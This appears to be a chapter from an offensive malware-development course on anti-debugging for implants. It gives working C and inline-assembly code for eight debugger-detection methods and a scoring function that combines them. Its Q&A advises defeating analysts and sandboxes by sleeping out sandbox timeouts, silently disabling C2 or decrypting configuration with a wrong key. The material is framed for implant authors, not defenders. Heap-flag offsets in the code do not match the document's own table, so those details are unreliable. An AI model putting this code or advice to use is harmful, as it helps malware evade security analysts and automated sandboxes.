Debugger Detection
When a malware analyst opens your sample in x64dbg or WinDbg, their first task is setting breakpoints and stepping through the code. Anti-debug techniques detect this presence and change the implant's behavior — sleeping indefinitely, decrypting wrong keys, or simply calling ExitProcess. The Windows API exposes debugger status in multiple places: a flag in the PEB, kernel APIs, timing side-channels, and the behavioral differences a debugger introduces into exception handling. This chapter covers the full catalogue of detection methods, what each one looks for, and why layering them matters — no single technique is robust against a determined analyst.
PEB-Based Detection
Process Environment Block (PEB) — accessible via GS:[0x60] on x64:
─────────────────────────────────────────────────────────────────────────
Offset Field Type Debugger value
+0x002 BeingDebugged BYTE 1 if process has a debugger
+0x068 NtGlobalFlag DWORD 0x70 if heap debug flags set
+0x018 ProcessHeap PVOID → HEAP structure
(HEAP)+0x10 Flags DWORD 0x50000062 under debugger
(HEAP)+0x14 ForceFlags DWORD 0x40000060 under debugger
Why these flags exist:
─────────────────────────────────────────────────────────────────────────
When a debugger attaches, Windows sets BeingDebugged=1 in the PEB.
NtGlobalFlag has heap debug flags (FLG_HEAP_ENABLE_TAIL_CHECK = 0x10,
FLG_HEAP_ENABLE_FREE_CHECK = 0x20, FLG_HEAP_VALIDATE_PARAMETERS = 0x40)
set when a debugger is present — these enable extra heap checking for
debugging convenience. Their presence signals "a debugger was here."
The heap Flags and ForceFlags change because the debug heap allocator
sets different control bits to enable validation and guard checking.
All three PEB locations are set by NTDLL during process initialization
when it detects a debugger — they're reset when the debugger detaches./* debugger_detect.c — Multi-method debugger detection
Never use a single detection method — a skilled analyst who spots it
will NOP it out and continue. Use 5-10 methods, AND their results,
and trigger different actions based on which method fires.
*/
#include <windows.h>
#include <stdio.h>
typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)
/* ── Method 1: IsDebuggerPresent (Win32 wrapper for PEB.BeingDebugged) */
static BOOL detect_m1_isdebuggerpresent(void) {
return IsDebuggerPresent();
}
/* ── Method 2: Direct PEB read (bypasses any hook on IsDebuggerPresent) */
static BOOL detect_m2_peb_direct(void) {
BOOL being_debugged;
#ifdef _WIN64
__asm__ volatile (
"movq %%gs:0x60, %%rax\n\t" /* PEB address into rax */
"movzbl 0x2(%%rax), %0\n\t" /* PEB.BeingDebugged (offset +2) */
: "=r"(being_debugged)
:
: "rax"
);
#else
__asm__ volatile (
"movl %%fs:0x30, %%eax\n\t"
"movzbl 0x2(%%eax), %0\n\t"
: "=r"(being_debugged)
:
: "eax"
);
#endif
return being_debugged;
}
/* ── Method 3: NtGlobalFlag check */
static BOOL detect_m3_nt_global_flag(void) {
DWORD nt_global_flag;
#ifdef _WIN64
__asm__ volatile (
"movq %%gs:0x60, %%rax\n\t"
"movl 0x68(%%rax), %0\n\t" /* PEB.NtGlobalFlag (offset +0x68) */
: "=r"(nt_global_flag)
:
: "rax"
);
#else
__asm__ volatile (
"movl %%fs:0x30, %%eax\n\t"
"movl 0x68(%%eax), %0\n\t"
: "=r"(nt_global_flag)
:
: "eax"
);
#endif
/* 0x70 = FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK
| FLG_HEAP_VALIDATE_PARAMETERS */
return (nt_global_flag & 0x70) != 0;
}
/* ── Method 4: Heap flags */
static BOOL detect_m4_heap_flags(void) {
PVOID heap = GetProcessHeap();
/* Heap flags at offset +0x10 (32-bit) / +0x14 (64-bit depending on build) */
/* Simplified: check for the debug allocator flag pattern */
DWORD flags = *(DWORD*)((PBYTE)heap + 0x14); /* Flags */
DWORD forceflags = *(DWORD*)((PBYTE)heap + 0x18); /* ForceFlags */
/* Normal values: Flags=2, ForceFlags=0 */
/* Debug values: Flags=0x50000062, ForceFlags=0x40000060 */
return (flags & 0x40000000) || (forceflags != 0);
}
/* ── Method 5: CheckRemoteDebuggerPresent (NtQueryInformationProcess) */
static BOOL detect_m5_remote_debugger(void) {
BOOL remote_debug = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &remote_debug);
return remote_debug;
}
/* ── Method 6: Timing attack (RDTSC delta) */
/*
* A debugger introduces timing delays because:
* a) Single-stepping executes one instruction per debug event (slow)
* b) Breakpoints cause int3 exceptions which are very slow
* c) If analyst is manually inspecting memory between instructions, minutes pass
*
* Measure RDTSC before and after a trivial operation.
* Under normal execution: delta is a few dozen cycles.
* Under single-step or breakpoint: delta is thousands or millions of cycles.
*/
static BOOL detect_m6_rdtsc_timing(void) {
DWORD64 t1, t2;
__asm__ volatile ("rdtsc; shlq $32, %%rdx; orq %%rdx, %%rax" : "=a"(t1) :: "rdx");
/* Trivial operation that can't be optimized away */
volatile int x = 1 + 1;
(void)x;
__asm__ volatile ("rdtsc; shlq $32, %%rdx; orq %%rdx, %%rax" : "=a"(t2) :: "rdx");
DWORD64 delta = t2 - t1;
/* Under debugger single-step, delta > 1,000,000 cycles is common */
return delta > 1000000ULL;
}
/* ── Method 7: OutputDebugString technique (error code side-channel) */
/*
* OutputDebugString returns an error via SetLastError.
* When NO debugger: GetLastError() == ERROR_INVALID_HANDLE (after the call)
* When debugger present: GetLastError() == 0 (debugger consumed the output)
* This works because the OutputDebugString mechanism uses a named event
* and a debug event that the debugger intercepts.
*/
static BOOL detect_m7_outputdebugstring(void) {
SetLastError(0);
OutputDebugStringA("test");
return GetLastError() == 0;
}
/* ── Combine all methods ─────────────────────────────────────────────── */
BOOL is_debugger_present_full(void) {
int score = 0;
score += detect_m1_isdebuggerpresent() ? 1 : 0;
score += detect_m2_peb_direct() ? 1 : 0;
score += detect_m3_nt_global_flag() ? 1 : 0;
score += detect_m4_heap_flags() ? 1 : 0;
score += detect_m5_remote_debugger() ? 1 : 0;
score += detect_m6_rdtsc_timing() ? 1 : 0;
score += detect_m7_outputdebugstring() ? 1 : 0;
/* Require 2+ methods to fire (reduces false positives from timing jitter) */
return score >= 2;
}
/* ── Response strategy ───────────────────────────────────────────────── */
/*
* Never call ExitProcess() when debugger is detected — that's too obvious
* and the analyst will set a breakpoint on ExitProcess.
*
* Better responses:
* 1. Silently disable C2 communication (implant appears to not work)
* 2. Use wrong decryption key (payload decrypts to garbage)
* 3. Sleep for days (IsDebuggerPresent() checked in the sleep loop)
* 4. Spawn a clean process and exit (in a debugger, only the original
* process is attached — the spawned process runs freely)
* 5. Corrupt the key schedule and continue (analyst gets wrong behavior,
* wastes time trying to understand "the bug")
*/
void debugger_response(void) {
if (is_debugger_present_full()) {
/* Option: use wrong XOR key — all strings/config decrypt to garbage */
/* The analyst sees garbled C2 address and network traffic that goes nowhere */
printf("[anti-debug] Environment detected as analyzed — altering behavior\n");
/* In real implant: g_xor_key ^= 0xDEAD; or g_c2_port = 0; */
}
}Exception-Based Anti-Debug
/* ── INT3 / single-step exception detection ─────────────────────────── */
/*
* Under a debugger, the debugger consumes certain exceptions:
* INT3 (0xCC) → debugger intercepts as a breakpoint, does NOT call your handler
* Single-step (TF flag) → debugger intercepts, does NOT call your handler
*
* Use this: install an exception handler, raise INT3.
* If your handler runs → NO debugger (exception reached you).
* If your handler does NOT run → debugger consumed the exception.
*/
static BOOL g_exception_reached = FALSE;
static LONG WINAPI debug_exception_handler(PEXCEPTION_POINTERS ep) {
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) {
g_exception_reached = TRUE;
/* Advance past the INT3 and continue */
ep->ContextRecord->Rip++; /* Skip the 0xCC byte */
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
static BOOL detect_m8_int3_exception(void) {
g_exception_reached = FALSE;
PVOID handler = AddVectoredExceptionHandler(1, debug_exception_handler);
__asm__ volatile ("int $3"); /* INT3 — raises EXCEPTION_BREAKPOINT */
RemoveVectoredExceptionHandler(handler);
/* If handler ran: g_exception_reached = TRUE (no debugger)
If debugger consumed the exception: g_exception_reached = FALSE (debugger present) */
return !g_exception_reached;
}Questions & Answers
Why is layering multiple anti-debug techniques necessary against a skilled analyst?
A skilled analyst recognizes individual anti-debug tricks and patches them in seconds. The IsDebuggerPresent check? NOP the conditional jump after it. The RDTSC timing check? Patch the threshold value to be astronomically large. Each technique, once identified, takes under a minute to bypass. The value of layering is that it costs the analyst time for each technique they discover and neutralize — and if some techniques are well-hidden (buried in indirect calls, obfuscated conditionals, checked in a separate thread), the analyst may not find them all. The goal isn't to create an unbreakable anti-debug — it's to make analysis expensive enough that automated sandboxes give up and human analysts spend hours instead of minutes.
What does "NtGlobalFlag" being set to 0x70 actually tell you about the debugging environment?
It tells you that the process was started with the Windows debug heap — three specific global flags that Windows sets when a debugger is the parent process: FLG_HEAP_ENABLE_TAIL_CHECK (0x10) adds guard bytes after each allocation to detect overwrites, FLG_HEAP_ENABLE_FREE_CHECK (0x20) fills freed blocks with 0xFEEEFEEE to detect use-after-free, and FLG_HEAP_VALIDATE_PARAMETERS (0x40) validates heap parameters on every call. These flags are set automatically by NTDLL when it detects a debugger via the PEB.BeingDebugged field during initialization. They're useful for anti-debug because they're set very early (before any user code runs) and they affect global heap behavior in ways that are hard to fully mask post-facto.
Can memory scanners and sandboxes bypass all of these detection methods?
Automated sandboxes bypass most PEB-based detections by setting PEB.BeingDebugged=0, NtGlobalFlag=0, and clearing heap debug flags before the sample runs. More sophisticated sandboxes also patch CheckRemoteDebuggerPresent to return FALSE. But timing-based detections are harder: a sandbox running the sample in an emulated or traced environment inherently slows down execution — RDTSC delta checks reliably fire even in sandboxes that patch the PEB. The OutputDebugString error code check is tricky to fake because it involves the named event mechanism. INT3 exception detection is often bypassed by sandboxes that do handle exceptions correctly. In practice: a single timing check (RDTSC or GetTickCount delta) is more robust against sandboxes than all the PEB tricks combined.
What is "anti-anti-debug" and how do analysts use it?
Anti-anti-debug refers to the analyst's techniques to defeat anti-debug checks. The main approach: use a debugger plugin that transparently patches all known anti-debug markers at process start — setting PEB.BeingDebugged=0, clearing NtGlobalFlag, patching IsDebuggerPresent to return 0, patching CheckRemoteDebuggerPresent similarly. ScyllaHide is the most widely used plugin for x64dbg and OllyDbg — it handles dozens of anti-debug tricks automatically. Against RDTSC timing, analysts use the "fake RDTSC" plugin option that makes RDTSC return a monotonically incrementing fake counter, making timing deltas appear normal. Against exception-based detection: analysts disable "break on exception" for INT3 and TF to let the exceptions reach the vectored handler instead of the debugger. None of this is perfect, but it handles the majority of common anti-debug implementations found in commodity malware.
Should an implant always exit when a debugger is detected, or is a subtler response better?
A subtler response is almost always better. Calling ExitProcess immediately on debugger detection tells the analyst exactly which code path triggered — they set a breakpoint on ExitProcess and trace backwards. More effective alternatives: silently change behavior while appearing to run normally. Use a wrong decryption key so the C2 address decrypts to an invalid domain — the analyst sees the implant attempting network connections to garbage hostnames and wastes time wondering if the C2 is down. Use a fake configuration with benign-looking data. Sleep for an hour before doing anything meaningful — sandboxes timeout after 2-5 minutes, so the real payload never executes in automated analysis. The best anti-debug response is one that makes the analyst believe they have a fully working sample, while actually running in a crippled mode that reveals nothing useful.